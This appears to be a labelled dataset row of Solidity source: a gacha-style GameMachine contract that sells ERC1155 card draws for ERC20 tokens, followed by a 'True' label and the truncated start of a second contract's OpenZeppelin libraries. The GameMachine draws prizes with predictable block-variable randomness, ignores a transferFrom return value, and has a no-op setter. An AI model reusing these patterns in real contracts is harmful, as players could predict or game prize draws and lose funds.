ERC1155Receiver(0).onERC1155Received.selector ^
ERC1155Receiver(0).onERC1155BatchReceived.selector
);
}
}
/**
* @dev _Available since v3.1._
*/
contract ERC1155Holder is ERC1155Receiver {
function onERC1155Received(address, address, uint256, uint256, bytes memory) public virtual override returns (bytes4) {
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(address, address, uint256[] memory, uint256[] memory, bytes memory) public virtual override returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function burn(uint256 amount) external;
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract GameMachine is Ownable, ERC1155Holder {
using SafeERC20 for IERC20;
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableSet for EnumerableSet.AddressSet;
/**
* @dev Game round
*/
struct Round {
uint256 id; // request id.
address player; // address of player.
RoundStatus status; // status of the round.
uint256 times; // how many times of this round;
uint256[20] cards; // Prize card ot this round.
}
enum RoundStatus { Pending, Finished } // status of this round
mapping(address => Round) public gameRounds;
uint256 public roundCount; //until now, the total round of this Gamemachine.
/***********************************
* @dev Configuration of this GameMachine
***********************************/
uint256 public machineId;
string public machineTitle;
string public machineDescription;
string public machineUri;
bool public maintaining = true;
bool public banned = false;
// This is a set which contains cradID
EnumerableSet.UintSet private _cardsSet;
// This mapping contains cardId => amount
mapping(uint256 => uint256) public amountWithId;
mapping(uint256 => uint256) public cardMintedAmountWithId;
// Prize pool with a random number to cardId
mapping(uint256 => uint256) private _prizePool;
// The amount of cards in this machine.
uint256 public cardAmount;
uint256 private _salt;
uint256 public shuffleCount = 10;
/*******************************
* somehting about token
*******************************/
// burn rate 0 - 10
uint256 public currencyBurnRate = 7;
// Currency of the game machine, like DOKI, AZUKI.
IERC20 public currencyToken;
// the price of playing one time.
uint256 public playOncePrice;
// ERC1155 Token
IMomijiToken public momijiToken;
EnumerableSet.AddressSet private _profitAccountSet;
address public administrator;
event AddCardNotMinted(uint256 cardId, uint256 amount, uint256 cardAmount);
event AddCardMinted(uint256 cardId, uint256 amount, uint256 cardAmount);
event RemoveCard(uint256 card, uint256 removeAmount, uint256 cardAmount);
event RunMachineSuccessfully(address account, uint256 times);
event ChangePlayOncePrice(uint256 newPrice);
event LockMachine(bool locked);
constructor(uint256 _machineId, string memory _machineTitle, IMomijiToken _momijiToken, IERC20 _currencyToken) {
machineId = _machineId;
machineTitle = _machineTitle;
machineDescription = _machineTitle;
momijiToken = _momijiToken;
currencyToken = _currencyToken;
administrator = owner();
_salt = uint256(keccak256(abi.encodePacked(_momijiToken, _currencyToken, block.timestamp))).mod(10000);
}
/**
* @dev add cards which have not been minted into machine.
* @param cardId. Card id you want to add.
* @param amount. How many cards you want to add.
*/
function addCardNotMintedWithAmount(uint256 cardId, uint256 amount) public onlyOwner {
require((momijiToken.tokenQuantityWithId(cardId) + amount) <= momijiToken.tokenMaxQuantityWithId(cardId), "You add too much.");
require(momijiToken.creators(cardId) == msg.sender, "You are not the creator of this Card.");
_cardsSet.add(cardId);
for (uint256 i = 0; i < amount; i ++) {
_prizePool[cardAmount + i] = cardId;
}
amountWithId[cardId] = amountWithId[cardId].add(amount);
momijiToken.removeMintManuallyQuantity(cardId, amount);
cardAmount = cardAmount.add(amount);
emit AddCardNotMinted(cardId, amount, cardAmount);
}
/**
* @dev Add cards which have been minted, and your owned cards
* @param cardId. Card id you want to add.
* @param amount. How many cards you want to add.
*/
function addCardMintedWithAmount(uint256 cardId, uint256 amount) public onlyOwner {
require(momijiToken.balanceOf(msg.sender, cardId) >= amount, "You don't have enough Cards");
momijiToken.safeTransferFrom(msg.sender, address(this), cardId, amount, "Add Card");
cardMintedAmountWithId[cardId] = cardMintedAmountWithId[cardId].add(amount);
amountWithId[cardId] = amountWithId[cardId].add(amount);
for (uint256 i = 0; i < amount; i ++) {
_prizePool[cardAmount + i] = cardId;
}
cardAmount = cardAmount.add(amount);
emit AddCardMinted(cardId, amount, cardAmount);
}
function runMachine(uint256 userProvidedSeed, uint256 times) public onlyHuman unbanned {
require(times > 0, "Times can not be 0");
require(times <= 20, "Over times.");
require(!maintaining, "The machine is under maintenance");
require(times <= cardAmount, "You play too many times.");
_createARound(times);
// get random seed with userProvidedSeed and address of sender.
uint256 seed = uint256(keccak256(abi.encode(userProvidedSeed, msg.sender)));
_shufflePrizePool(seed);
for (uint256 i = 0; i < times; i ++) {
// get randomResult with seed and salt, then mod cardAmount.
uint256 randomResult = _getRandomNumebr(seed, _salt, cardAmount);
// update random salt.
_salt = ((randomResult + cardAmount + _salt) * (i + 1) * block.timestamp).mod(cardAmount) + 1;
// transfer the cards.
uint256 result = (randomResult * _salt).mod(cardAmount);
_updateRound(result, i);
}
uint256 price = playOncePrice.mul(times);
_transferAndBurnToken(price);
_distributePrize();
emit RunMachineSuccessfully(msg.sender, times);
}
/**
* @param amount how much token will be needed and will be burned.
*/
function _transferAndBurnToken(uint256 amount) private {
_burnCurrencyTokenBalance();
// 1. burn token
uint256 burnAmount = amount.mul(currencyBurnRate).div(10);
// 2. transfer token from use to this machine
currencyToken.transferFrom(msg.sender, address(this), burnAmount);
// 3. tansfer token remaining to dev account.
uint256 remainingAmount = amount.sub(burnAmount);
uint256 profitAccountAmount = _profitAccountSet.length();
uint256 transferAmount = remainingAmount.div(profitAccountAmount);
for (uint256 i = 0; i < profitAccountAmount; i ++) {
address toAddress = _profitAccountSet.at(i);
currencyToken.safeTransferFrom(msg.sender, toAddress, transferAmount);
}
}
function _distributePrize() private {
for (uint i = 0; i < gameRounds[msg.sender].times; i ++) {
uint256 cardId = gameRounds[msg.sender].cards[i];
require(amountWithId[cardId] > 0, "No enough cards of this kind in the Mchine.");
require(_calculateLastQuantityWithId(cardId) > 0, "Can not mint more cards of this kind.");
if (cardMintedAmountWithId[cardId] > 0) {
momijiToken.safeTransferFrom(address(this), msg.sender, cardId, 1, '');
cardMintedAmountWithId[cardId] = cardMintedAmountWithId[cardId].sub(1);
} else {
momijiToken.mint(cardId, msg.sender, 1, "Minted by Gacha Machine.");
}
amountWithId[cardId] = amountWithId[cardId].sub(1);
}
gameRounds[msg.sender].status = RoundStatus.Finished;
}
function _updateRound(uint256 randomResult, uint256 rand) private {
uint256 cardId = _prizePool[randomResult];
_prizePool[randomResult] = _prizePool[cardAmount - 1];
cardAmount = cardAmount.sub(1);
gameRounds[msg.sender].cards[rand] = cardId;
}
function _getRandomNumebr(uint256 seed, uint256 salt, uint256 mod) view private returns(uint256) {
return uint256(keccak256(abi.encode(block.timestamp, block.difficulty, block.coinbase, block.gaslimit, seed, block.number))).mod(mod).add(seed).add(salt);
}
function _calculateLastQuantityWithId(uint256 cardId) view private returns(uint256) {
return momijiToken.tokenMaxQuantityWithId(cardId)
.sub(momijiToken.tokenQuantityWithId(cardId));
}
function _createARound(uint256 times) private {
gameRounds[msg.sender].id = roundCount + 1;
gameRounds[msg.sender].player = msg.sender;
gameRounds[msg.sender].status = RoundStatus.Pending;
gameRounds[msg.sender].times = times;
roundCount = roundCount.add(1);
}
function _burnCurrencyTokenBalance() private {
uint256 balance = currencyToken.balanceOf(address(this));
if (balance > 0) {
currencyToken.burn(balance);
}
}
// shuffle the prize pool again.
function _shufflePrizePool(uint256 seed) private {
for (uint256 i = 0; i < shuffleCount; i++) {
uint256 randomResult = _getRandomNumebr(seed, _salt, cardAmount);
_salt = ((randomResult + cardAmount + _salt) * (i + 1) * block.timestamp).mod(cardAmount) + 1;
_swapPrize(i, _salt);
}
}
function _swapPrize(uint256 a, uint256 b) private {
uint256 temp = _prizePool[a];
_prizePool[a] = _prizePool[b];
_prizePool[b] = temp;
}
function cardIdCount() view public returns(uint256) {
return _cardsSet.length();
}
function cardIdWithIndex(uint256 index) view public returns(uint256) {
return _cardsSet.at(index);
}
function changeShuffleCount(uint256 shuffleCount) public onlyOwner {
shuffleCount = shuffleCount;
}
function changePlayOncePrice(uint256 newPrice) public onlyOwner {
playOncePrice = newPrice;
emit ChangePlayOncePrice(newPrice);
}
function getCardId(address account, uint256 at) view public returns(uint256) {
return gameRounds[account].cards[at];
}
function unlockMachine() public onlyOwner {
maintaining = false;
emit LockMachine(false);
}
function lockMachine() public onlyOwner {
maintaining = true;
emit LockMachine(true);
}
function addProfitAccount(address account) public onlyAdministrator {
_profitAccountSet.add(account);
}
function removeProfitAccount(address account) public onlyAdministrator {
_profitAccountSet.remove(account);
}
function changeBurnRate(uint256 rate) public onlyAdministrator {
require(rate <= 10, "Rate is too big.");
currencyBurnRate = rate;
}
function transferAdministrator(address account) public onlyAdministrator {
require(account != address(0), "Ownable: new owner is the zero address");
administrator = account;
}
function banThisMachine() public onlyAdministrator {
banned = true;
}
function unbanThisMachine() public onlyAdministrator {
banned = false;
}
function changeMachineTitle(string memory title) public onlyOwner {
machineTitle = title;
}
function changeMachineDescription(string memory description) public onlyOwner {
machineDescription = description;
}
/**
* Modifiers
*/
modifier onlyHuman() {
require(!address(msg.sender).isContract() && tx.origin == msg.sender, "Only for human.");
_;
}
modifier onlyAdministrator() {
require(address(msg.sender) == administrator, "Only for administrator.");
_;
}
modifier unbanned() {
require(!banned, "This machine is banned.");
_;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-26
*/
/**
*Submitted for verification at Etherscan.io on 2022-01-18
*/
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/security/Pausable.sol
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
